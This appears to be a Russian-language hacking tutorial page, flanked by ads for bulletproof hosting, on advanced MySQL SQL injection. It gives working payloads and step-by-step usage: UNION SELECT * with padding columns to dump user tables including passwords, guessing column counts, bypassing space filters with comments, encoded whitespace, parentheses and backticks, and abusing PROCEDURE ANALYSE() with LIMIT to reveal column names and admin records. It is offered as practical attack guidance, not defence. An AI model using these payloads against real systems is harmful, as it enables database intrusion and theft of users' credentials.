Новичку полезно

Абузоустойчивые серверы и VPS/VDS
  • 100% абузоустойчивость
  • Профессиональный саппорт
Абузоустойчивые серверы и VPS/VDS
  • Конфиденциальность проводимых сделок
  • Более 20 методов оплаты товара/услуги
SecretsLine
  • Скрой свой реальный IP адрес
  • Анонимно скачивай: BitTorrent, p2p сети


Advanced SQL Injection Techniques

Advanced SQL Injection Techniques, детали проведения SQL иньекции! tips and tricks

1. Вывод данных из таблицы, без указания имён столбцов

    Необходимые условия:
  1. Версия MySQL >= 4.0 (необходимо присутствие оператора union)
  2. SQL инъекция должна быть с выводом (слепые инъекции не подходят)
  3. Кол-во столбцов в уязвимом запросе меньше либо равно чем кол-во столбцов в таблице, данные из которой нужно вывести.
  4. Достаточно большое кол-во полей должно выводится из уязвимого запроса (чем больше, тем лучше).

Описание:

Иногда, можно столкнуться с такой проблемой, как незнание имени столбца в таблице, данные из которой нужно вывести (разумеется это будет актуальным только в 4 версиях мускула). Нашёл способ как это можно решить. Наверное ни для кого не секрет, что для того что бы вывести все поля из таблицы можно воспользоваться такой конструкцией:

select * from tables;

Так же все знают, что что бы объединить два запроса оператором union нужно что бы количество полей в обоих запросах совпадало:

select 1,2,3 union select 4,5,6;

Теперь представим случай когда количество полей в уязвимом запросе и в нужной нам таблице совпадают:

select id, title, text from news where id = 1 and 1=2 union select id, login, password from users;

Что равносильно этому:

select id, title, text from news where id = 1 and 1=2 union select * from users;

Как уже было сказано запросы равносильные и преимущество второго запроса в том, что имена колонок можно и не знать, что в большинстве случаев нам на руку. Это всё конечно замечательно, но случай когда количество полей в обоих запросах будет совпадать достаточно редкий.

Но, как выяснилось, такая конструкция будет рабочей:

select id, title, text, text2, text3 from news where id = 1 and 1=2 union select *,1,2 from users;

В результате на месте первых трёх полей будут данные из нужной нам таблицы (соответственно первое, второе и третье поле нужной таблицы), а на месте последних двух полей будут выведены цифры 1 и 2. Т.е. фактически мы можем выравнивать, таким вот образом, количество полей в обоих запросах и в результате выводить всю строку целиком не зная при этом имён столбцов.

Использовать конструкции:

select id, title, text, text2, text3 from news where id = 1 and 1=2 union select 1,2,* from users; 

или

select id, title, text, text2, text3 from news where id = 1 and 1=2 union select 1,*,2 from users;

нельзя - символ '*' должен находиться в начале.

    Как юзать:
  1. Находим инъекцию, желательно, если уязвимых запросов несколько (т.е. вы нашли несколько уязвимых скриптов) выбрать тот, в котором используется наибольшее количество полей (т.е. подбираем количество полей во всех инъекциях и смотрим в каком запросе используется большее количество полей) и одновременно с этим выводимых полей должно быть как можно больше.
  2. Подбираем количество полей в нужной нам таблице:
    select id, title, text, text2, text3 from news where id = 1 and 1=2 union select *,1,2,3,4 from users;

    если ошибка, то полей в таблице больше чем 1, идём дальше:

    select id, title, text, text2, text3 from news where id = 1 and 1=2 union select *,1,2,3 from users;

    если ошибка, то полей в таблице больше чем 2, идём дальше:

    select id, title, text, text2, text3 from news where id = 1 and 1=2 union select *,1,2 from users;

    и т.д., пока не подбирем количество при котором ошибки не будет, т.е. появятся данные.

    Не следует исключать случай, что кол-во полей в таблице с пользователями может быть больше чем количество полей, используемых в уязвимом запросе - тогда облом.

  3. Теперь, если инъекций много выбираем ту, в которой выводимых полей больше, особенно тех, что в начале т.к. поля из нужной нам таблицы будут помещены в начало.

Плюсы и минусы:

[+] - Можно выводить данные, не зная имён столбцов.
[+] - Выводя всю строку, можно увидеть данные которые могли не учитываться, к примеру наличие соли или статус пользователя или что нидь ещё, что так или иначе может пригодится.
[-] - Ксли из уязвимого запроса выводится мало полей, то часть данных мы просто не увидим. этим способом можно частично обойти:

select id, title, text, text2, text3 from news where id = 1 and 1=2 union select * from users, (select 1,2,3) as lala;

[-] - Возможна ситуация при которой понять что вывелось, крайней сложно.

2. Обход фильтрации: пробел (0x20). Недавно открыл для себя следующий trick, который может помочь в обходе фильтраций при проведениии SQL-injection в MySQL-сервере.

Общепринятое решение данной проблемы:

В MySQL пусто закрытый комментарий воспринимается как пробел:

-1/**/union/**/select/**/1,2,3,version(),4,5/*

Но в один прекрасный день эта фишка не прокатила из-за жесткой фильтрации слэшей. альтернатива есть. Еще один очень интересный метод заключается в том, что байты 0x09, 0x0A, 0x0B, 0x0C, 0x0D интерпретатор MySQL также обрабатывает как пробел:

-1%09union%09select%091,2,3,version(),4,5/*

Можно обходится без пробельных (любых разделяющих) символов вообще - используя скобки:

select(1),2,(3)from(user)where(id=1)

Или используя кавычки и тильду:

select`login`,2,'3'from`user`where`id`='1'

В таком случае имена таблиц и колонок обрамлять тильдами, а значения - кавычками. Значения можно так же обрамлять двойными кавычками.

3.SQL-инъекции и PROCEDURE ANALYSE()

PROCEDURE ANALYSE() - это процедура MySQL, которая исследует запрос и предлагает оптимальные типы данных для каждой колонки, участвующей в запросе. Процедура работает во всех версиях MySQL, начиная с третьей.

Синтаксис:

SELECT … FROM … WHERE … PROCEDURE ANALYSE([max_elements,[max_memory]])

При вызове процедуры, весь результат запроса переписывается и возвращаются следующие данные:

mysql> SELECT user_login, user_pass FROM wp_users WHERE ID=1 PROCEDURE ANALYSE();
2 rows in set (0.00 sec)

Ни один из аргументов PROCEDURE ANALYSE() не позволяет использовать подзапросы внутри них, однако процедуру можно использовать в SQL-инъекциях для получения имен колонок, которые участвуют в выборке, таблицы и текущей базы данных. Особенно это актуально для MySQL версии 4, где нет системной базы данных information_schema, хранящей информацию о всех БД, таблицах и их колонках. К сожалению, имеется ряд ограничений:

- процедура позволяет узнать имя только той таблицы, ее колонок и базы данных, которые непосредственно участвуют в запросе
- эти данные находятся в первом столбце (Field_name), и в такой ситуации многое зависит от конкретного веб-приложения - от того, как оно выводит данные, возвращаемые базой данных

Для перебора записей с необходимыми данными возможно использование оператора LIMIT:

SELECT user_login, user_pass FROM wp_users WHERE ID=1 PROCEDURE ANALYSE()

вернет первую запись при условии, что веб-приложение допускает получение нескольких записей, но выводит только первую

SELECT user_login, user_pass FROM wp_users WHERE ID=1 LIMIT 1,1 PROCEDURE ANALYSE()

вернет вторую запись (wp.wp_users.user_pass)

Кроме столбца Field_name интерес представляют Min_value, Max_value и Optimal_fieldtype, которые выводят содержание соответствующих столбцов. Эту возможность можно использовать в такой ситуации: имеется уязвимое веб-приложение, отображающее профили зарегистрированных пользователей; параметр ID не фильтруется;

запрос для получения данных из БД имеет вид:

SELECT * FROM users WHERE id=1

в таблице users имеются столбцы login и status, последний отвечает за уровень привилегий пользователя;

Таким образом, используя PROCEDURE ANALYSE() и LIMIT, становится возможным подобрать запись пользователя с привилегиями администратора, и выявить содержание недоступных столбцов, в частности с паролями и другой конфиденциальной информацией пользователей. Правда, как уже говорилось, успех зависит от того, как веб-приложение обрабатывает и выводит данные из БД.

Для работы с иьекциями вам понадобится программа, которая автоматически будет посылать запросы - SQL Injection Tool

Cтатистика

SMS.копилка

SMS.копилка

Orphus

Система Orphus